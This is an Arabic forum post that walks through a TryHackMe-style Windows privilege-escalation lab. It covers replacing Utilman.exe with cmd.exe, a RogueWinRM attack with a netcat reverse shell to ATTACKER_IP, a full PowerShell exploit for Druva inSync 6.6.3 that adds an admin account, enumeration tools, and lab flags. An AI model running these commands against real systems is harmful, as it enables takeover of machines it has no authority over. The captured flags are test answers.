بنقدر نتأكد من صلاحياتنا باستخدام الأمر :
كود:
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
بتظهرلنا الصلاحيات كالتالي :
- SeTakeOwnershipPrivilege: بتعطينا ملكية الملفات أو الأغراض الأخرى (معطلة).
- SeChangeNotifyPrivilege: تجاوز الفحص (مفعلة).
- SeIncreaseWorkingSetPrivilege: زيادة مجموعة العمل الخاصة بالعملية (معطلة).
احد البرامج اللي ممكن نستغلها عشان نرفع صلاحياتنا برنامج utilman
هو برنامج مدمج بويندوز يستخدم لتوفير خيارات سهولة الوصول في شاشة القفل

بما إن الـ utilman بشتغل بصلاحيات SYSTEM بنحصل على صلاحيات SYSTEM إذا استبدلناه بأي برنامج نختاره
نبدأ بأخذ ملكية utilman.exe باستخدام الأمر :
كود:
takeown /f C:\Windows\System32\Utilman.exe
بتطلعلنا رسالة نجاح بتحكي إن الملف Utilman.exe صار مملوك من المستخدم WINPRIVESC2\thmtakeownership
بما إننا صرنا المالكين للملف بنقدر نعطي نفسنا أي صلاحيات بنحتاجها باستخدام الأمر التالي :
كود:
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
بنستبدل utilman.exe بنسخة من cmd.exe باستخدام الأمر :
كود:
copy cmd.exe utilman.exe
عشان نفعل البرنامج utilmanبنفتح على شاشه القفل بعدين بنضغط على زر Ease of Access اللي بشغل utilman.exe بصلاحيات SYSTEM قبل بس احنا بدلناه بنسخة من cmd.exe رح نحصل على موجه الأوامر بصلاحيات SYSTEM
وهيك بنكون حصلنا على صلاحيات SYSTEM بطريقة سهلة وبسيطة
14. الـ SeImpersonate و SeAssignPrimaryToken:
الصلاحيات هاي بتسمح لبرنامج إنه يقلد مستخدمين ثانيين ويتصرف نيابةً عنهم التقليد هاد عادة بكون إن البرنامج بقدر يشغل برنامج أو (Thread) تحت حساب مستخدم ثاني
تخيل إن عننا سيرفر FTP بخلي الناس يرفعوا وينزلوا ملفات السيرفر هاد لازم يضمن إن كل مستخدم بقدر يشوف بس الملفات اللي مسموحله يشوفهانفترض عننا خدمة FTP بتشتغل بحساب المستخدم ftp
لو Ann سجلت دخول وحبت توصل لملفاتها خدمة الـ FTP هتحاول توصل للملفات باستخدام access token الخاص بـ حساب المستخدم ftp مش تاع Ann

ليش مش كويس :
- عشان الملفات تتقدم بشكل صحيح لازم تكون متاحة لحساب المستخدم ftp يعني الخدمة هتقدر توصل لملفات Ann بس مش لملفات Bill لأن الإعدادات عند Bill مش متاحه للمستخدم ftp
- النظام بعتبر كل الملفات بقدر يوصلها المستخدم ftp بغض النظر عن مين اللي سجل دخول يعني الامر بكون لازم ينعمل من الخدمة نفسها مش من النظام
- لو الخدمة تم اختراقها المهاجم بقدر يوصل لكل الملفات اللي المستخدم ftp بقدر يشوفها
لو خدمة الـ FTP عندها صلاحيات SeImpersonate أو SeAssignPrimaryToken الموضوع بكون أسهلالخدمة بتستخدم الـ access token الخاص بالمستخدم اللي سجل دخول وبتشتغل نيابةً عنه
يعني لو Ann سجلت دخول الخدمة بتاخذ الـ access token الخاص فيها وبتستخدمه عشان توصل لملفاتها وبهاذ الشكل الملفات مش لازم تسمح للمستخدم ftp يوصللها والنظام هو اللي بيتولى التحكم
لو قدرنا نسيطر على برنامج عنده لصلاحيات هاي بنقدر نقلد أي مستخدم بتصل وبسجل دخول للبرنامج هادبأنظمة ويندوز الحسابات LOCAL SERVICE و NETWORK SERVICE عندهم الصلاحيات هاي والخدمات اللي بتشتغل تحت الحسابات هاي بتستخدمها عشان تقدر تقلد المستخدمين المتصلين لو احتاجت خدمات زي Internet Information Services (IIS) بتعمل حسابات افتراضية مشابهة عشان التطبيقات الويب
المهاجم محتاج :- يشغل برنامج عشان المستخدمين يتصلوا فيه ويسجلوا دخول
- يلاقي طريقة يخلي المستخدمين اللي عندهم صلاحيات عالية يتصلوا بالبرنامج الخبيث اللي شغله
نفترض إننا سيطرنا على موقع شغال على IIS وزرعنا Web Shell على العنوان :
كود:
http://10.10.48.233/

تشغيل الـ RogueWinRM:
أولاً بنرفع الثغرة لجهاز الهدف (تم رفعها مسبقًا هنا: C:\tools)الثغرة بتستغل خدمة BITS لما تبدأ بتعمل اتصال على البورت 5985 باستخدام صلاحيات SYSTEM بورت 5985 بستخدم خدمة WinRM اللي بتفتح Powershell Console للاتصال عن بعد
لو خدمة WinRM مش شغالة على السيرفر المهاجم بقدر يشغل خدمة WinRM وهمية على البورت 5985 ويصطاد محاولة التوثيق من خدمة BITS
لو المهاجم عنده صلاحيات التقليد بقدر ينفذ أي أمر نيابةً عن المستخدم المتصل اللي هو SYSTEM
الخطوات- شغل مستمع netcat على جهاز المهاجم:
كود:user@attackerpc$ nc -lvp 4442
- استخدم الـ Web Shell لتشغيل الثغرة بالامر:
كود:c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
- بعد شوية بتلاقي إنك حصلت على Shell بصلاحيات SYSTEM :
كود:user@attackerpc$ nc -lvp 4442 Listening on 0.0.0.0 4442 Connection received on 10.10.175.90 49755 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami nt authority\system
رايتاب مفيد للموضوعاحصل على الـ flag من سطح مكتب الـ Administrator's
THM{SEFLAGPRIVILEGE}
15. الـ Unpatched Software ( البرامج غير المحدثة ) :
البرامج المثبتة على النظام ممكن توفر فرص لرفع الصلاحيات زي المنظمات والمستخدمين ما بحدثوهة زي ما بحدثو نظام التشغيل
بنقدر تستخدم أداة wmic عشان نتسرد البرامج المثبتة على النظام وإصداراتها الأمر هذا بيسوي تفريغ للمعلومات اللي يقدر يحصل عليها عن البرامج المثبتة (ممكن ياخذ حوالي دقيقة عشان يخلص):
كود:
wmic product get name,version,vendor
أمر wmic product ممكن ما يرجع كل البرامج المثبتة حسب طريقة تثبيت بعض البرامج ممكن ما تظهر هون لا تنسا تشيك على اختصارات سطح المكتب على الخدمات المتاحة أو أي أثر بدل على وجود برامج إضافية ممكن يكون فيها ثغرات
بعد ما نجمع معلومات إصدارات البرامج بنبحث عن الثغرات الموجودة بالبرامج المثبتة على مواقع زي exploit-db، packet storm أو حتى جوجل
16. الـ Druva inSync 6.6.3 :
سيرفر الهدف بستخدم Druva inSync 6.6.3 اللي فيه ثغرة رفع صلاحيات حسب تقرير Matteo Malvica
الثغرة ناتجة عن تحديث سيء تم تطبيقه على ثغرة أخرى كانت بالإصدار 6.5.0 حسب تقرير Chris Lyne
البرنامج فيه ثغرة لأنه بشغل سيرفر RPC (استدعاء إجراء عن بُعد) على البورت 6064 بصلاحيات الـ SYSTEM ومتاحة فقط من الـ localhost
إذا ما بتعرف شو هو الـ RPC : هو ببساطة آلية بتسمح للعملية بفتح وظائف (تسمى إجراءات في مصطلح RPC) عبر الشبكة عشان الأجهزة الأخرى تقدر تستدعيها عن بعد
في حالة الـ Druva inSync وحدة من الإجراءات المفتوحة (تحديدًا الإجراء رقم 5) على البورت 6064 بسمح لأي شخص بطلب تنفيذ أي أمر بما إن سيرفر RPC يعمل بصلاحيات الـ SYSTEM أي أمر بتنفذ بصلاحيات SYSTEM
الثغرة الأصلية المبلغ عنها بالإصدارات 6.5.0 واللي قبلها كانت بتسمح بتشغيل أي أمر بدون قيود
الفكرة الأصلية كانت لتشغيل بعض الملفات التنفيذية المحددة مع inSync عن بعد ولكن ما كان فيه تحقق لضمان هاد الاشي
اصدرو تحديث قرروا يتحققو من الأمر المنفذ يبدأ بالسلسلة C:\ProgramData\Druva\inSync4 هيك بتكون الملفات هاي الملفات التنفيذية المسموح فيها بس هاد التحديث ما كان كافي لأنك ببساطة بتقدر تسوي هجوم path traversal لتفادي هذا النوع من التحكم
لنفترض إنك بدك تشغل C:\Windows\System32\cmd.exe
اللي هو مش بالمسار المسموح بتقدر تطلب من السيرفر يشغل C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe وهيك بتم تجاوز التحقق بنجاح
شرح تنفيذ الثغرة
عشان ننفذ ثغرة ناجحة لازم نفهم كيف نتواصل مع البورت 6064
البروتوكول المستخدم بسيط والحزم المرسلة موضحة بالرسم التالي :

الحزمة الأولى ببساطة تحتوي على hello packet
الحزمة الثانية بتشير إلى إننا بدنا ننفذ الإجراء رقم 5 لأنه هو الإجراء الثغرة اللي بشغل أي أمر
الحزمتين الأخيرتين تستخدم لإرسال طول الأمر و الأمر للتنفيذ على التوالي
كود الاستغلال
نشر Matteo Malvica كود الاستغلال اللي بتقدر تستخدمه في جهاز الهدف لرفع صلاحياتك والحصول على حل هذه التحدي ( اللي تحت ) هنا كود الاستغلال الأصلي:
كود:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
بتقدر تفتح الـ Powershell وتلصق الكود مباشرة للتنفيذ (الاستغلال متاح بجهاز الهدف ( للتحدي ) بـ C:\tools\Druva_inSync_exploit.txt
لاحظ إن الـ payload الافتراضي المحددة في المتغير cmd$ بتضيف مستخدم باسم pwnd بالنظام لكن ما بتعطيه صلاحيات إدارية فـ بنحتاج نغير الـ payload لأشي أكثر افاده بالنسبة للتحدي
بنغير الـ payload لتشغيل الأمر التالي :
كود:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
هاد بضيف مستخدم pwnd بكلمة مرور SimplePass123 وبضيفه لمجموعة الـ administrator's
إذا الاستغلال نجح بنشغل الأمر التالي للتحقق من وجود المستخدم pwnd وأنه جزء من مجموعة الـ administrator's :
كود:
net user pwnd
احصل على الـ flag على سطح مكتب الـ Administrator's
THM{EZ_DLL_PROXY_4ME}
17. Tools of the Trade ( أدوات الفحص ):
فيه عدة سكريبتات بتقدر تستخدمها عشان تفحص النظام وتعرف إذا فيه طرق لرفع الصلاحيات زي ما شفنا بالمهمة السابقة الأدوات هاي بتسهل عملية الفحص وبتختصر الوقت وبتساعدك تكتشف طرق جديدة لرفع الصلاحياتبس تذكر إن الأدوات الآلية ممكن يفوت عليها بعض الطرق
هاي بعض الأدوات المشهورة اللي تستخدم في فحص طرق رفع الصلاحيات
WinPEAS
بشغل أوامر مشابهة للِّي تكلمنا عنها وبطبع النتائج لكن النتائج من WinPEAS ممكن تكون طويلة وصعب تقراها عشان هيك من الأفضل توجه المخرجات لملف :
كود:
C:\> winpeas.exe > outputfile.txt
بتقدر تحمل WinPEAS من الرابط التالي
PEASS-ng/winPEAS at master · peass-ng/PEASS-ng
PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - peass-ng/PEASS-ng
PrivescCheck
هو سكربت PowerShell ببحث عن طرق رفع الصلاحيات الشائعة في النظام المستهدف هو بديل لـ WinPEAS وما بحتاج يشغل ملف تنفيذيملاحظة: عشان تشغل PrivescCheck على النظام المستهدف ممكن تحتاج تتجاوز قيود السياسات التنفيذية بتقدر تسوي هاد باستخدام الأمر Set-ExecutionPolicy زي هيك :
كود:
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
بتقدر تحمل PrivescCheck من الرابط التالي
GitHub - itm4n/PrivescCheck: Privilege Escalation Enumeration Script for Windows
Privilege Escalation Enumeration Script for Windows - itm4n/PrivescCheck
WES-NG: Windows Exploit Suggester - Next Generation
بعض سكربتات اقتراح الثغرات (مثل winPEAS) بتحتاج ترفعها على النظام المستهدف وتشغلها هناك هاد ممكن يخلي برامج الحماية تكتشفها وتحذفها عشان تتجنب لفت الانتباه ممكن تفضل تستخدم WES-NG اللي بشتغل على جهازكهو سكريبت Python
بعد ما تثبته
قبل ما تستخدمه اكتب الأمر التالي لتحديث قاعدة البيانات :
كود:
wes.py --update
السكريبت هاد بعتمد على قاعدة بيانات اللي بنشئها عشان يفحص التحديثات الناقصة اللي ممكن تكون بتقدر تستغلها لرفع الصلاحيات على النظام المستهدف
لاستخدام السكريبت بتحتاج تشغل أمر systeminfo على النظام المستهدف لا تنسى توجيه المخرجات لملف txt. وتنسخه لجهازك
بعدها بتقدر تشغل WES-NG بهاي الطريقة :
كود:
user@kali$ wes.py systeminfo.txt
بتقدر تحمل WES-NG من الرابط التاليGitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
Windows Exploit Suggester - Next Generation. Contribute to bitsadmin/wesng development by creating an account on GitHub.
Metasploit
إذا عندك بالفعل Meterpreter على النظام المستهدف بتقدر تستخدم الموديول multi/recon/local_exploit_suggester عشان يعرضلك الثغرات اللي ممكن تأثر على النظام المستهدف وتسمحلك ترفع صلاحياتك عليهres
المرفقات
-
1715628208552.png47 KB · المشاهدات: 94
-
1715628394791.png76.4 KB · المشاهدات: 97
-
1715683984801.png30.9 KB · المشاهدات: 93
-
1715684145722.png25.1 KB · المشاهدات: 91
-
1715687707578.png14.1 KB · المشاهدات: 95
-
1715689475637.png17.5 KB · المشاهدات: 91
-
1716090011268.png84.6 KB · المشاهدات: 93
-
1716532624532.png27.3 KB · المشاهدات: 97
التعديل الأخير: